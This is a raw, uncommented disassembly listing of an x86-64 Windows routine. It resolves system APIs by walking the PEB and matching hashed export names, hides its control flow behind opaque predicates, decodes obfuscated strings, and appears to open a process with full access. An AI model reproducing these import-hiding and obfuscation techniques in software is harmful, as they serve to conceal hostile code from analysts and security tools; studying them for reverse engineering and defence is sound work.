mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14021d116
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x14021d116
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r14]
add r9, r11
mov r10d, 0xedc85dd
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14021d10e
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x14021cc93
cmp r10d, 0xcd28aa6f
jne 0x14021d10e
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov ecx, dword [rcx + rax*4]
add rcx, r11
call rcx
mov r8d, eax
cmp eax, 0x3fb097c6
je 0x14021cd47
lea ecx, [rax - 0x447acba6]
cmp ecx, 0x5306c705
jbe 0x14021cd47
mov edx, 0xd5e50002
mov cl, reloc.WS2_32.dll_socket
mov eax, edx
shr eax, cl
test al, 1
je 0x14021cd16
mov cl, 3
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021cd47
mov cl, 3
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021cd47
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021cd47
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021cd47
mov cl, ntohs
shr edx, cl
test dl, 1
jne 0x14021cd47
test r8d, r8d
jne 0x14021d2b5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14021d106
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x14021d106
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r14]
add r9, r11
mov r10d, 0xbaed48f4
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14021d0fe
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x14021cdb3
cmp r10d, 0x6c156089
jne 0x14021d0fe
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r9d, dword [rcx + rax*4]
add r9, r11
xor edx, edx
mov ecx, 0x1fffff
mov r8d, 0x86f2d40a
call r9
mov r14, rax
mov edx, 0x1d2837a
mov cl, reloc.WLDAP32.dll_Ordinal_30
mov eax, edx
shr eax, cl
test al, 1
je 0x14021ce30
mov cl, 2
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021ce5b
mov cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021ce5b
add cl, cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021ce5b
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021ce5b
mov cl, listen
shr edx, cl
test dl, 1
je 0x14021cf31
test r14, r14
je 0x14021cf31
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14021cf29
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x14021cf29
mov r15d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r15]
add r9, r11
mov r10d, 0xa70342cc
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14021cf25
nop
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x14021ced0
cmp r10d, 0x47aaad6
jne 0x14021cf25
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
mov rcx, r14
call rdx
nop
jmp 0x14021d2b5
test ebx, ebx
jne 0x14021ceb0
mov rax, qword [rax]
jmp 0x14021ce80
mov edx, 0x5f0550a
mov cl, reloc.WLDAP32.dll_Ordinal_27
mov eax, edx
shr eax, cl
test al, 1
je 0x14021cf4c
xor cl, cl
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021cf74
xor ecx, ecx
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021cf74
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021cf74
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021cf74
mov cl, reloc.WS2_32.dll_select
shr edx, cl
test dl, 1
je 0x14021cf20
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14021d0f6
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x14021d0f6
mov r15d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r15]
add r9, r11
mov r10d, 0x96556051
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14021d0ee
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x14021cfe3
cmp r10d, 0xac79dca9
jne 0x14021d0ee
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r8d, dword [rcx + rax*4]
add r8, r11
mov edx, dword [0x14033ccdc]
mov ecx, dword [0x14033ccd8]
call r8
cmp word [0x14033cd7e], 0
jne 0x14021cf20
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14021d0de
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x14021d0de
mov r15d, dword [rdi + 0x20]
dec ebx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r15]
add r9, r11
mov r10d, 0x76657fd7
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14021d0da
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x14021d0a2
cmp r10d, 0x610e32ab
je 0x14021cf04
test ebx, ebx
jne 0x14021d083
mov rax, qword [rax]
jmp 0x14021d060
test ebx, ebx
jne 0x14021cfc0
mov rax, qword [rax]
jmp 0x14021cf90
test ebx, ebx
jne 0x14021cd90
mov rax, qword [rax]
jmp 0x14021cd60
test ebx, ebx
jne 0x14021cc70
mov rax, qword [rax]
jmp 0x14021cc40
movdqa xmm0, xmmword [0x14031e3e0]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x35], 0x595931
mov word [rsp + 0x39], 0x305
mov byte [rsp + 0x3b], reloc.WLDAP32.dll_Ordinal_79
mov byte [rsp + 0x34], 0
xor r13d, r13d
mov r10d, r13d
lea r9, [rsp + 0x2f]
nop dword [rax + rax]
lea edx, [r10 + r10*2]
movzx ecx, byte [rsp + rdx + 0x20]
mov byte [r9], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x37]
xor bl, cl
mov byte [r9], bl
xor r8b, r8b
lea eax, [rdx + 1]
movzx edx, byte [rsp + rax + 0x20]
nop
movzx eax, dl
movzx ecx, r8b
sar al, cl
test al, 1
jne 0x14021d1a8
inc r8b
cmp r8b, 4
jne 0x14021d190
jmp 0x14021d1b6
movsx ecx, bl
movzx eax, byte [rsp + 0x3a]
btc ecx, eax
mov byte [r9], cl
mov dl, 5
lea eax, [r10 + 1]
lea eax, [r10 + rax*2]
movzx r8d, byte [rsp + rax + 0x20]
nop word [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021d1e6
inc dl
cmp dl, 8
jne 0x14021d1d0
jmp 0x14021d1f5
movsx ecx, byte [r9]
movzx eax, byte [rsp + 0x39]
btc ecx, eax
mov byte [r9], cl
xor dl, dl
lea eax, [r10 + 1]
lea eax, [r10 + rax*2]
movzx r8d, byte [rsp + rax + 0x20]
nop word [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021d226
inc dl
cmp dl, 5
jne 0x14021d210
jmp 0x14021d235
movsx ecx, byte [r9]
movzx eax, byte [rsp + 0x38]
btc ecx, eax
mov byte [r9], cl
add r11b, byte [rsp + 0x36]
xor byte [r9], r11b
inc r10d
inc r9
cmp r10d, 5
jne 0x14021d160
mov eax, 0xcccccccd
mul r12d
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, r12d
sub ecx, eax
cmp byte [rsp + rcx + 0x2f], 0x10
jne 0x14021d2b5
mov edx, 0xf6f755ec
mov cl, reloc.WLDAP32.dll_Ordinal_26
mov eax, edx
shr eax, cl
test al, 1
je 0x14021d282
xor cl, cl
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021d2aa
xor ecx, ecx
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021d2aa
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021d2aa
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021d2aa
mov cl, 0xb
shr edx, cl
test dl, 1
je 0x14021d2b5
add r12d, 0xfffffff9
mov dword [0x14033fac8], r12d
mov dword [rsp + 0x20], 0x20011
mov dword [rsp + 0x24], 0x3c20040
mov dword [rsp + 0x28], 0x100000
mov dword [rsp + 0x2c], 0x391
mov dword [rsp + 0x30], 0x5e0040
mov dword [rsp + 0x34], 0x500002
mov dword [rsp + 0x38], 0x2001b
mov qword [rsp + 0x3c], 0x40
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x48], 0xd14f0000
mov dword [rsp + 0x4c], 0x30500d1
mov word [rsp + 0x50], Ordinal_50
lea r10, [rsp + 0x3e]
nop word [rax + rax]
lea edx, [r13*2]
add edx, r13d
movzx ecx, word [rsp + rdx*2 + 0x20]
mov word [r10], cx
movzx eax, r13w
add ax, ax
lea r11d, [rax + r13]
movzx r9d, byte [rsp + 0x4c]
add r9w, r11w
xor r9w, cx
mov word [r10], r9w
xor r8b, r8b
lea eax, [rdx + 1]
movzx edx, word [rsp + rax*2 + 0x20]
nop dword [rax]
movzx ecx, r8b
movzx eax, dx
shr ax, cl
test al, 1
jne 0x14021d379
inc r8b
cmp r8b, 4
jne 0x14021d360
jmp 0x14021d38a
movzx r9d, r9w
movzx eax, byte [rsp + 0x4f]
btc r9d, eax
mov word [r10], r9w
mov dl, 5
lea eax, [r13*2 + 2]
add eax, r13d
movzx r8d, word [rsp + rax*2 + 0x20]
nop dword [rax]
movzx ecx, dl
movzx eax, r8w
shr ax, cl
test al, 1
jne 0x14021d3b7
inc dl
cmp dl, 8
jne 0x14021d3a0
jmp 0x14021d3cb
movzx ecx, r9w
movzx eax, byte [rsp + 0x4e]
btc ecx, eax
movzx r9d, cx
mov word [r10], cx
xor dl, dl
lea eax, [r13*2 + 2]
add eax, r13d
movzx r8d, word [rsp + rax*2 + 0x20]
nop
movzx ecx, dl
movzx eax, r8w
shr ax, cl
test al, 1
jne 0x14021d3f7
inc dl
cmp dl, 5
jne 0x14021d3e0
jmp 0x14021d40b
movzx ecx, r9w
movzx eax, byte [rsp + 0x4d]
btc ecx, eax
movzx r9d, cx
mov word [r10], cx
movzx eax, byte [rsp + 0x4b]
add ax, r11w
xor ax, r9w
mov word [r10], ax
inc r13d
add r10, 2
cmp r13d, 5
jne 0x14021d320
cmp word [rsp + 0x3e], 1
jne 0x14021d484
mov edx, 0xa69ef580
mov cl, reloc.WS2_32.dll_socket
mov eax, edx
shr eax, cl
test al, 1
je 0x14021d450
mov cl, 1
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021d478
mov cl, 1
mov eax, edx
shr eax, cl
test cl, al
jne 0x14021d478
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021d478
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021d478
mov cl, 0xb
shr edx, cl
test dl, 1
je 0x14021d484
call fcn.140265b0b
mov byte [0x14033f9df], 0x6c
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret